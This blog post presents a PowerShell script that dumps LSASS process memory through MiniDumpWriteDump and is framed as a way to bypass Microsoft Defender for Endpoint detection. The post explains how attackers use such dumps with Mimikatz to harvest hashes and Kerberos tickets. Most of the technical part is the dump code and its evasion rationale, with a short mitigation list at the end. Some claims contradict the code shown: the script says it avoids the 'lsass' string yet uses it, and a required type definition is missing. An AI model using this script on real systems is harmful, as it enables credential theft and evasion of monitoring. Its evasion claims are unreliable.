Defender for Endpoint: Bypassing Lsass Dump with PowerShell

Think of LSASS as the master key ring at a hotel. It’s supposed to be used only by authorized staff, like security or management, to access any room in case of emergencies. This key ring has copies of every room key, including the penthouse suites and VIP lounges.

Imagine a clever guest figuring out a way to duplicate the entire key ring without anyone noticing. They don’t take the keys directly from the manager—they just make a “shadow” copy, which gives them access to every room they want, anytime. Now, these guests can wander through the hotel, helping themselves to room service snacks and fluffy towels, all while blending in as if they belong there.

An LSASS dump is similar. When attackers perform an LSASS dump, they’ve made a shadow copy of this master key ring, gaining access to all credentials without triggering alarms. Now, they can roam freely around the network, accessing systems and data as if they had the official “keys” to everything unless security measures are in place to catch them in the act.

The post, ‘Defender for Endpoint: Bypassing Lsass Dump with PowerShell,’ focuses on a specific scenario of bypassing lsass dump with PowerShell.

Introduction

Memory access and process dumps are critical elements in endpoint forensics, with Defender for Endpoint (MDE) positioned as the first line of defense against unauthorized access. For forensic analysts and cybersecurity professionals, examining processes like the LSASS is essential for investigating potential credential theft, process integrity, and data protection. This article explores how LSASS interacts with the Windows OS, MDE’s role in detecting and preventing LSASS manipulation, and a technical dive into creating a PowerShell-based memory dump script designed to bypass security alerts. This discussion intends to arm professionals with knowledge on bypassing security alerts while remaining aware of best practices to avoid detection.

LSASS in a Nutshell: The Core of Windows Security

LSASS is a crucial Windows component that enforces security policy, handles authentication, and manages logins. It handles user authentication and Active Directory interactions and maintains sensitive credentials in memory. However, given its wealth of credential data, this memory has become a focal point for attackers. By understanding the internals of LSASS and its security boundaries, professionals gain insight into how LSASS protections can be maintained while enabling forensics where necessary.

The critical nature of LSASS within Windows’s security architecture implies strict access control. Unauthorized access attempts are typically blocked or flagged by Microsoft Defender for Endpoint, which is tightly integrated with the Windows Security Center. To conduct legitimate security forensics, especially when testing defenses, bypassing certain protections requires privileged access, highlighting why understanding and adjusting SeDebugPrivilege settings and directly interacting with LSASS must be approached with caution and authority.

Defender for Endpoint’s Role in LSASS Protection

Defender for Endpoint (MDE) offers comprehensive protection for Windows endpoints. It scans for anomalous behaviors that suggest tampering or unauthorized memory access to LSASS. LSASS-specific alerts are particularly adept at detecting suspicious behavior. These alerts monitor when memory dumps or direct process access suggest credential dumping attempts, even if the attack method or software has been altered.

When operating with MDE, bypassing these alerts requires an in-depth understanding of how MDE monitors LSASS. Endpoint protection combines signature-based detection, behavior analysis, and heuristic techniques. For instance, memory accesses that utilize specific patterns associated with credential harvesting tools trigger MDE alerts. Additionally, MDE employs machine learning models trained to identify the presence of particular functions (like MiniDumpWriteDump) and less common interaction patterns with LSASS.

How can Attackers utilize them?

Attackers can exploit LSASS dumps to extract sensitive information like plaintext credentials, hashed passwords, Kerberos tickets, and NTLM hashes, which they can then use for further attacks within a compromised network.

Attackers frequently dump LSASS memory because it stores critical authentication data such as plaintext credentials and NTLM and Kerberos tickets. Attackers extract NTLM hashes or Kerberos tickets, which can then be used to authenticate as the user without needing the actual password.

Tools for credential dumping include Mimikatz, which is the most popular tool for extracting credentials from LSASS. It can retrieve plaintext passwords, NTLM hashes, and Kerberos tickets directly from memory. Other tools include Procdump, a legitimate tool that attackers can use to dump LSASS memory, which can then be processed with other tools, and Task Manager or Process Explorer, where even legitimate administrative tools can sometimes be misused to dump process memory. However, access  LSASS often requires elevated privileges.

For example, the attacker dumps LSASS memory using a tool like PowerShell to create a memory dump of LSASS. They then analyze the dump with Mimikatz or a similar tool to extract stored credentials or hashes and, with the credentials in hand, authenticate to other systems on the network, escalating privileges or maintaining persistence.

Crafting a PowerShell-Based LSASS Dump Script

Forensics often require capturing a snapshot of process memory, which is possible through a memory dump. Since typical credential harvesting tools are flagged, creating a custom PowerShell script enables analysts to avoid MDE’s detection mechanisms while conducting legitimate forensics on LSASS. In this section, we delve into the script, detailing each component and discussing how specific PowerShell commands and functions interact with the Windows OS and LSASS, focusing on subtle ways to avoid detection.

Constants and Privilege Adjustments

The script begins by defining constants, such as $FullMemoryDump and $AllAccessPermissions, which are required by the MiniDumpWriteDump function within dbghelp.dll. This part of the script determines the access level for reading process memory.

# Define constants
$FullMemoryDump = 0x00000002
$AllAccessPermissions = 0x1F0FFF

By invoking Add-Type to load dbghelp.dll, the script accesses the MiniDumpWriteDump function, a Windows API call designed for process debugging. Direct interaction with this DLL can trigger MDE alerts due to its association with process memory access, especially LSASS.

function Grant-ElevatedAccess {
try {
$identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object System.Security.Principal.WindowsPrincipal($identity)
if ($principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Host “Running with Administrator access…”
} else {
Write-Host “Administrator privileges are required. Exiting.”
exit
}
} catch {
Write-Host “Privilege escalation failed: $_”
}
}

This function is essential because it manages process elevation without directly invoking privilege-related functions, which reduces the likelihood of triggering behavior-based detections.

Accessing LSASS with Process ID Fetching

The next component of the script fetches the process ID (PID) of LSASS using the Get-Process cmdlet. Avoiding the explicit name “LSASS” within the script and using a generic function like the Get-ProcessId is a subtle but effective method to bypass signature-based detection. The MDE engine scans not only for specific function calls but also for strings referencing critical Windows processes like LSASS.

function Get-ProcessId {
$process = Get-Process -Name “lsass” -ErrorAction SilentlyContinue
if ($process) {
Write-Host “Target process found: PID = $($process.Id)”
return $process.Id
} else {
Write-Host “Target process not found.”
return $null
}
}

Writing the LSASS Memory Dump

After obtaining elevated access and LSASS’s PID, the Write-MemoryDump function executes the actual dump creation, leveraging the MiniDumpWriteDump API to capture LSASS memory. MDE’s heuristic analysis is less likely to flag this API call directly from PowerShell, particularly if standard libraries like dbghelp.dll are loaded without being explicitly invoked through process injection or debugger tooling.

function Write-MemoryDump {
param(
[string]$outputPath
)

$processId = Get-ProcessId
if (-not $processId) { return $false }

try {
# Open target process
$processHandle = [System.Diagnostics.Process]::GetProcessById($processId).Handle
if (-not $processHandle) {
Write-Host “Failed to open target process with PID: $processId”
return $false
}
Write-Host “Successfully opened target process with PID: $processId”

# Create dump file
$fileStream = [System.IO.File]::Open($outputPath, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write)
$fileHandle = $fileStream.SafeFileHandle.DangerousGetHandle()
Write-Host “Dump file created at $outputPath”

# Write memory dump
$success = [DumpGenerator]::MiniDumpWriteDump(
$processHandle,
[uint32]$processId,
$fileHandle,
[uint32]$FullMemoryDump,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero
)

# Close file stream and release process handle
$fileStream.Close()
[System.Runtime.InteropServices.Marshal]::Release($processHandle)

if ($success) {
Write-Host “Memory dump successfully written to $outputPath”
return $true
} else {
Write-Host “Failed to write memory dump.”
return $false
}
} catch {
Write-Host “An error occurred: $_”
return $false
}
}

Lsass Dump Bypassing in MDE

When the full script runs, there is no detection when on the Windows server with MDE.

When checking the Defender XDR portal, the Incident and Alert didn’t identify any lsass dump or related actions.

The provided script references the process ‘PowerShell_ISE.exe.’ The file was created with no restrictions. The message is: ‘powershell_ise.exe created an obfuscated file lsass.dmp’ in the Defender XDR timeline.

Note: In this method, the known KQL queries won’t detect them at all!

Optional mitigations

The sensitive nature of the LSASS process and its role in storing credentials makes it a frequent target for attackers. While understanding how to conduct legitimate forensic investigations is essential, so is implementing mitigations to prevent unauthorized LSASS access. This section provides strategies and recommendations to secure LSASS, including preventive measures and configuration changes within Microsoft Defender for Endpoint (MDE) to fortify systems against credential theft.

• Enable “LSA Protection” (RunAsPPL) via Group Policy or registry to force LSASS to run as a PPL, preventing non-protected processes from accessing its memory.
• Implement Credential Guard using UEFI lock and Secure Boot to isolate credential derivatives in a virtualized environment inaccessible to the operating system.
• Utilize Windows Defender Exploit Guard’s Attack Surface Reduction (ASR) rule to “Block credential stealing from the lsass.exe.”
• Deploy Security Support Provider Interface (SSPI) notifiers to monitor and potentially block LSASS memory access attempts through officially supported APIs.
• Enable the “Restrict LSASS to Trusted Callers Only” policy (RestrictRemoteClientLsassPolicy) to limit remote access to LSASS, mitigating Pass-the-Hash attacks.
• Implement WDAC with HVCI to prevent the execution of unsigned code that could potentially access LSASS memory.
• Utilize Process Creation Mitigation Policy to enable BlockNonMicrosoftBinaries for lsass.exe, preventing non-Microsoft DLLs from being loaded into LSASS.
• Enable Kernel DMA Protection via the Windows Security Baselines to mitigate Direct Memory Access (DMA) attacks against LSASS memory.
• Implement ETW with the Microsoft-Windows-LSASS provider to monitor LSASS-related events at a low level.

In Summary

This custom PowerShell script demonstrates how to achieve LSASS memory dumps while potentially bypassing MDE’s detection mechanisms. The script reduces the likelihood of triggering detection using generic naming, minimizing direct API calls, and avoiding standard privilege escalation functions. However, professionals must exercise caution when using such techniques, as legitimate forensic analysis requires careful handling of sensitive processes like LSASS.

In environments with MDE, maintaining a legitimate purpose and verifying that all memory access complies with security policies is critical to ensuring secure and compliant operations.

Useful articles

Detecting and preventing LSASS credential dumping attacks

Detecting LSASS dumping with debug privileges

Defender XDR blog posts on Cyberdom